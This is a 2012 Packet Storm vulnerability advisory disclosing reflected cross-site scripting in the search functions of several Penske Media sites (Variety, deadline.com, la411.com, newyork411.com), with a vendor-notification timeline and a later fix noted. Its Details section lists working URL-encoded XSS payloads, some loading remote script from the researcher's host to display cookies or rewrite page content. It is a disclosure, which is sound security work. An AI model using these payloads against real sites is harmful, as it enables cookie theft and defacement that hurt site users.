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Penske Media Corporation Cross Site Scripting

Penske Media Corporation Cross Site Scripting
Posted Nov 20, 2012
Authored by Janne Ahlberg

Various Penske Media Corporation sites such as variety.com, la411.com, newyork411.com, and deadline.com all suffer from reflective cross site scripting vulnerabilities. Note that this finding houses site-specific data. Editor's note 01/04/2013: Per the advisory author, the issues have been resolved in all sites listed and Penske Media have addressed the issue.

tags | exploit, vulnerability, xss
MD5 | d40c218999b62a9c8d04b9c051081ec7

Penske Media Corporation Cross Site Scripting

Change Mirror Download
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Title : Penske Media Corporation reflected Cross Site Scripting (XSS) vulnerabilities

Vendor : Penske Media Corporation (http://www.pmc.com/)

Description : Multiple PMC web-sites are vulnerable to reflected Cross-site Scripting attacks

Advisory time-line:
----------------------------------------------------------------------------------------------------
- Vendor notified : 16-Oct-2012, 9-Nov-2012, 15-Nov-2012 - no responses
- Packet Storm advisory : 20-Nov-2012

Test environment
----------------------------------------------------------------------------------------------------
- Latest Firefox browser

Vulnerable PMC sites
----------------------------------------------------------------------------------------------------
- Variety.com
- La411.com
- newyork411.com
- deadline.com


Details
----------------------------------------------------------------------------------------------------
Affected functionality: site search

Test #1: Remote Javascript execution: display browser cookie
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%20src=http://idash.net/xs.js%3E%3C/script%3E
http://www.la411.com/search/index.cfm?searchParam=%3C%2Fscript%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2FSCRIPT%3E

Test #2, Remote Javascript execution: overwrite HTML content
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%20src=http://idash.net/fr.js%3E%3C/script%3E
http://www.la411.com/search/index.cfm?searchParam=%3C%2Fscript%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2FSCRIPT%3E

Test #3, Simple alert
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%3E+-+-1-+-+alert%28/XSS/%29%3C/script%3E
http://www.la411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cimg+src%3Dx+onerror%3Dprompt%28/XSS/%29%3E&x=0&y=0
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cimg+src%3Dx+onerror%3Dprompt%28/XSS/%29%3E&x=0&y=0
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT%3Eprompt%28/XSS/%29%3C%2FSCRIPT%3E


Note: the test cases are not malicious.

Researcher
----------------------------------------------------------------------------------------------------
Janne Ahlberg
Project site: http://idash.net
Twitter: https://twitter.com/JanneFI
----------------------------------------------------------------------------------------------------

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